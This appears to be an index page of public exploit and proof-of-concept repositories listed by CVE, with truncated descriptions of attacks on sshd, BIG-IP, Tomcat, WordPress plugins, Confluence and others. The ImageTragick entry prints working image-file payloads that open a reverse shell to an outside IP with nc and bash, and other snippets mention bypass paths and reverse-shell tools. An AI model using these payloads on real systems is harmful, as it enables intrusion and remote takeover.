CVE-2026-0776

CVE-2026-0776 - Discord Client Uncontrolled Search Path Element Summary This repository documents CVE-2026-0776, a local code execution issue affecting the Discord Desktop Client on Windows. The vulnerability is related to unsafe module resolution behavior in Node.js-based components, which may...

CVE-2024-6387

CVE-2024-6387 regreSSHion Proof of concept python script for regreSSHion exploit. Version 0.2.1 build POC Installation git clone https://github.com/l-urk/CVE-2024-6387.git cd CVE-2024-6387 pip3 install -r requirements.txt python3 regreSSHion.py -h Usage 🔒 CVE-2024-6387 regreSSHion remote code...

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration RCE Unauthenticated Arbitrary File Upload → Remote Code Execution Field| Value ---|--- CVE| CVE-2026-1357 CVSS| 9.8 Critical Plugin| WPvivid Backup & Migration Affected| ≤ 0.9.123 Patched| 0.9.124 Discovered by| Lucas Montes NiRoX PoC by| halilkirazkaya...

CVE-2020-5902

CVE-2020-5902 BIG-IP RCE Update Use /hsqldb%0a/ Bypass Rules For Java Deserialization or /hsqld%b /hsqldb; /tmui/login.jsp/..;/hsqldb Redirect 404 / bypass /hsqldb; Redirect 404 / bypass /hsqldb%0a include 'FileETag MTime Size Redirect 404 / Redirect 404 / ' fix:...

CVE-2017-12149

CVE-2017-12149 CVE-2017-12149 JBOSS as 6.X Deserialization Reverse Shell Version Rewritten GUI interface based on the author's command-line mode detail:http://www.cnblogs.com/sevck/p/7874438.html...

CVE-2026-93698

Insufficient validation allows arbitrary commands to be executed via the Multilang adminbin...

CVE-2026-92924

The Unlimited Elements for Elementor WordPress plugin before 2.0.21 does not check that a request to render widget output comes from a user allowed to make it, allowing users with a role as low as subscriber to have arbitrary WordPress shortcodes executed on the site. Version 2.0.18 removed the...

CVE-2026-93697

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Mass Modify Accounts interface...

CVE-2026-93029

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Manage SSL Hosts interface...

CVE-2020-5902-rce-gui

CVE-2020-5902-RCE-Big Vulnerability Exploitation Tool GUI Version v1.0 Tool Usage Instructions For command execution, if the first execution fails, you can try several more times. Batch Target Address Detection Execute Reverse Shell Single Target Address Detection File Upload Software Download Li...

uc_browser_poc_CVE-2022-1364

UCBrowserExploit.js Introduction All content below refers to the UC Browser exploit explored in this article posted by Interrupt Labs. Getting Started This exploit relates to previous versions of the UC Browser that include the RCE bug of CVE-2022-1364. This bug was patched in the UC browser in...

CVE-2023-33246

CVE-2023-33246 Modify props.setProperty, execute command...

CVE-2022-26134_check

CVE-2022-26134check The script is used to check remotely if a Confluence server is vulnerable to the CVE-2022-26134 vulnerability. This vulnerability is a remote code execution flaw that allows an attacker to execute arbitrary code on the server if left unpatched. This vulnerability was being...

CVE-2019-19919

CVE-2019-19919 Handlebars Improper Neutralization of Special Elements in Output Used by a Downstream Component 'Injection' Vulnerability pip install requests packaging python handlebarsscanner.py pip install requests python handlebarsexploit.py Enter the target URL: Exploit Expected Output : Ente...

CVE-2025-8110

CVE-2025-8110 – Gogs ≤ 0.13.3 RCE PoC Proof-of-Concept for CVE-2025-8110 , an authenticated arbitrary file write in Gogs ≤ 0.13.3 caused by improper symbolic-link handling in the PutContents API. An authenticated user can commit a symlink pointing to .git/config, then use the API to overwrite it...

dubbo-rce

CVE-2023-23638 For learning and research purposes only. ZooKeeper is required. The test environment is Java 8. Other versions have not been tested and usability is not guaranteed. During reproduction, you need to add the VM parameter to DemoComsumer: -Ddubbo.hessian.allowNonSerializable=true. For...

dlink

Command Injection and Backdoor Account in D-Link NAS Devices Vulnerability Summary: The described vulnerability affects multiple D-Link NAS devices, including models DNS-340L, DNS-320L, DNS-327L, and DNS-325, among others. The vulnerability lies within the nassharing.cgi uri, which is vulnerable...

spring-cloud-function-rce

Spring Cloud Function SPEL Expression Injection Vulnerability CVE-2022-22963 Spring framework provides a comprehensive programming and configuration model for modern Java-based enterprise applications on any type of deployment platform. The serverless framework in Spring Cloud, the RoutingFunctio...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

CVE-2025-24813

🚨 CVE-2025-24813 – Apache Tomcat PUT JSP RCE Exploit This repository contains a complete proof-of-concept PoC for CVE-2025-24813 , a Remote Code Execution RCE vulnerability in Apache Tomcat using the HTTP PUT method to deploy a malicious JSP web shell. 🔥 This exploit demonstrates how an attacker...